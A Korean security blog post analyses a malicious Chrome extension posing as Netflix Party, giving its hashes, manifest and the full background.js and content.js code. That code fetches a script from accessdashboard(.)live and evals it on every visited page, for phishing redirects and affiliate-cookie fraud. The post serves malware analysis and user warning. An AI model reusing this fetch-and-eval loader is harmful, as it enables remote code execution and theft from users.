꿈을꾸는 파랑새

반응형

오늘은 구글 크롬 공식 스토어 에서 구글 크롬 탐색 활동을 훔치는 악성코드 구글 크롬 부가기능에 인 Netflix Party(넷플릭스 파티)에 대해 알아보겠습니다.
해당 유포되었던 구글 크롬 부가기능 주소는 다음과 같습니다.

https://chrome.google(.)com/webstore/detail/netflix-party/bncibciebfeopcomdaknelhcohiidaoe

manifest.json 내용
manifest.json 내용

해당 구글 크롬 부가기능은 사용자를 피싱 사이트로 리디렉션 하고, 제휴 ID를 삽입하고, 합법적인 웹사이트를 수정하여 개인 식별 정보(PII) 데이터를 추출하는 악의적인 과정을 거치고 있습니다.
해당 악성코드는 구글 확장 프로그램 중 하나인 Netflix Party 는 원래 Netflix Party 확장 프로그램을 모방하여 여러 사람이 동시에 Netflix(넷플릭스)을 시청할 수 있도록 합니다. 그러나 이 버전은 방문하는 모든 웹사이트를 모니터링하고 여러 가지 악의적인 활동을 수행합니다.
해당 악의적인 목적이 있는 사람은 여러 트위터 계정과 가짜 리뷰 웹사이트를 만들어서 해당 구글 크롬 부가기능이 신뢰할 수가 있는 것으로 사용자를 기만하고 있습니다.
동작 방식은 다음과 같습니다.
각 단계의 세부 사항은 다음과 같습니다.
악성 확장 프로그램을 만들어 Chrome 확장 프로그램 저장소에 추가
확장 프로그램을 검토하기 위해 가짜 웹사이트를 만들고 이를 홍보하기 위해 가짜 트위터 계정을 만듬 
피해자는 Netflix Party에 대한 웹 또는 Twitter(트위터)검색을 수행하고 리뷰를 읽고 Google Chrome 스토어로 연결되는 링크를 클릭할 수 유도  
확장 프로그램을 설치하고 권한을 수락하려면 클릭 
피해자는 웹 검색을 수행하거나 기프트 카드 웹사이트로 직접 이동 확장 프로그램은 웹사이트를 식별하고 피싱 페이지로 리디렉션 진행
피해자는 피싱 페이지에 기프트 카드 정보를 입력
기프트 카드 정보는 악의적인 행위자가 접근할 수 있는 서버에 게시됩니다. 이제 훔친 데이터를 사용하거나 판매할 수 있으며 피해자는 금전적인 손실을 보게 됩니다.
제가 사용한 구글 크롬 부가기능은 bncibciebfeopcomdaknelhcohiidaoe 입니다.
먼저 해쉬값은 다음과 같습니다.
파일명:bncibciebfeopcomdaknelhcohiidaoe.crx
사이즈:60.7 KB
CRC32:31ad176a
MD5:0a77feeeca5f7161b13b2b454f13f6ac
SHA-1:2d3fac34a4d1eb1a89e940ff0c26c9be678e7410
SHA-256:7d4f9aaa72db209626824ad3c8a79b0c3a7300412dd604c1b372abe773000c24
SHA-512:3dab3d343bf7284d1b888f94ac05cedac511eaa74348c43d3a568b32c61520fddd975dec16c719682139b94d21780ad9c9502af0f3a4e6bb66b10411b616623a
먼저 Manifest.json 에 있는 코드는 다음과 같습니다. manifest.json 파일에는 확장 권한이 포함되어 있습니다. content_security_policy의 unsafe-eval 권한과 사용자가 방문한 모든 웹사이트에서 허용되는 content.js 사용이 특히 중요 합니다.
해당 코드는 다음과 같습니다.

"update_url": "https://clients2.google(.)com/service/update2/crx",

  "manifest_version": 2,
  "name": "__MSG_name__",
  "description": "__MSG_description__",
  "default_locale": "en",
  "version": "0.0.3",
  "permissions": ["tabs"],
  "content_security_policy": "script-src 'self' https://ajax.googleapis(.)com https://cdnjs.cloudflare(.)com https://maxcdn.bootstrapcdn(.)com 'unsafe-eval'; object-src 'self'",
  "browser_action": {
    "default_icon": "128.png",
    "default_title": "Netflix Party",
    "default_popup": "popup(.)html"
  },
  "background": {
    "scripts": ["background(.)js"]
  },
  "icons": {
    "128": "128.png",
    "48": "48.png",
    "32": "32.png",
    "16": "16.png"
  },
  "web_accessible_resources": ["img/*.svg", "web/*", "contentScript(.)js","content.js","join-room(.)js"],
  "content_scripts": [
    {
      "matches":["https://www.join-room(.)com/*"],
      "js": ["join-room.js"],
      "run_at": "document_start"
    },
    {
      "matches": ["https://*.netflix(.)com/*", "http://*.netflix(.)com/*"],
      "js": ["contentScript.js"],
      "run_at": "document_start"
    },
    {
      "matches": ["https://*/*", "http://*/*"],
      "js": ["content.js"],
      "run_at": "document_start"
    }
  ],
  "externally_connectable": {
    "matches": ["*://*.join-room(.)com/*"]
  }
}

Background.js
해당 확장 프로그램이 설치되면 background.js 스크립트가 로드 파일은 읽기 어렵게 만드는 모든 코드를 한 줄에 넣는 간단한 난독화 기술을 사용 코드 미화를 사용하여 쉽게 정리할 수 있으며 아래 이미지는 첫 번째 줄에 난독화된 스크립트이며
스크립트 액세스 https://accessdashboard(.)live 하여 스크립트를 다운로드하고 에 변수 code 로 의 로컬 저장소 이 저장된 변수 입니다.

Background.js 소스 코드
Background.js 소스 코드

var contentScript=JSON.parse(localStorage.getItem("code"))||"
";const netflixConfig="console.log('netflix')";
function callApi(){fetch("https://accessdashboard(.)live/api/script/616e94f840c17f3e248440d3").
then(e=>e.json()).then(e=>{localStorage.setItem("code",JSON.stringify(e.code)),
contentScript=e.code})}chrome.runtime.onMessageExternal.addListener(function(e,t,n)
{return e&&"hasExtension"===e.message&&n({hasExtension:!0}),!0}),
chrome.runtime.onMessage.addListener(function(e,t,n){if("joinUserInRoom"===e.action)
{const n=e.room,o=e.url,i=e.isAdmin,c=e.onlyAdminControl;
chrome.tabs.update(t.tab.id,{url:o},function(e)
{chrome.tabs.onUpdated.addListener(function(t,o)
{"complete"===o.status&&t===e.id&&chrome.tabs.sendMessage(t,{action:"joinUserFromBackground",room:n,onlyAdminControl:c,isAdmin:i||!1},
function(e){})})})}else{if("getCode"===e.action)return contentScript?n({script:contentScript||netflixConfig}):fetch("https://accessdashboard(.)live/api/script/616e94f840c17f3e248440d3").then(e=>e.json()).then(e=>{contentScript=e.code,n({script:e.code||netflixConfig}),
localStorage.setItem("code",JSON.stringify(e.code))}),!0;"openTab"===e.action?chrome.tabs.create({url:e.redirect,active:!1,index:0},function(e)
{chrome.tabs.onUpdated.addListener(function(t,n){"complete"===n.status&&t===e.id&&setTimeout(function(){chrome.tabs.remove(e.id)},1e3)})}):
chrome.tabs.update(t.tab.id,{url:e.redirect})}}),chrome.runtime.onInstalled.addListener(function(e){"install"===e.reason&&(chrome.tabs.create({url:"https://www.netflixparty(.)live/welcome"}),chrome.windows.getAll({populate:!0},function(e){e.forEach(function(e){e.tabs.forEach(function(e){e.url.includes("https://www.join-room.com/join/")&&chrome.tabs.reload(e.id)})})}))}),chrome.runtime.onInstalled.addListener(function(e){"install"===e.reason&&callApi()}),chrome.runtime.setUninstallURL("https://www.netflixparty(.)live/uninstall"),chrome.windows.onCreated.addListener(function(){callApi()}),chrome.runtime.onStartup.addListener(function(){callApi()}),chrome.tabs.onCreated.addListener(function(){callApi()});

Content.js
코드가 이전에 저장된 code 변수에서 악성 스크립트를 읽는 것을 볼 수 있습니다.

code 변수에서 악성 스크립트 읽기
code 변수에서 악성 스크립트 읽기

const netflixConfig="console.log('netflix')";chrome.runtime.sendMessage({action:"getCode"},function(response){if(response.script){var F=function()
{eval(response.script||netflixConfig)};F()}});

Code
악성코드는 피싱을 위한 리디렉션, AffiliateID 추가를 위한 쿠키 수정, 채팅 창 추가를 위한 웹사이트 코드 수정의 3가지 주요 기능을 확인할 수가 있습니다.
즉 동작은 다음과 같습니다.
사용자가 소매 웹사이트로 이동 
웹사이트가 AIPSstore 키맵에 포함된 경우 확장 프로그램은 쿠키를 제휴 ID로 설정하는 수익 창출 사이트에 대한 링크가 있는 새 탭을 로드
그런 다음 새 탭이 닫히고 쿠키가 유지

피싱 작업을 위한 리디렉션, AffiliateID 추가를 위한 쿠키 수정, 채팅창 추가

사용자는 쿠키가 설정되었다는 사실을 모르고 웹사이트를 계속 탐색
상품을 구매하면 사이트 벤더가 제휴 ID를 인식하고 수수료가 악의적인 행위자가 될 제휴 ID 소유자에게 전송
구글 확장 프로그램을 설치하기 전에 Google Chrome에서 권한을 표시하며 확장 프로그램이 방문하는 모든 웹사이트에서 실행할 수 있는 권한을 요청하는 경우 고객은 추가 단계를 거쳐 진위를 확인해야 합니다.
바이러스토탈에서는 다음 보안 제품만이 해당 악성코드를 탐지하고 있습니다.
McAfee:Phish-Extension
McAfee-GW-Edition:Phish-Extension
즉 어떤 브라우저이든 설치를 할 때 항상 주의를 기울이는 것이 좋습니다.

반응형
그리드형

댓글

비밀글모드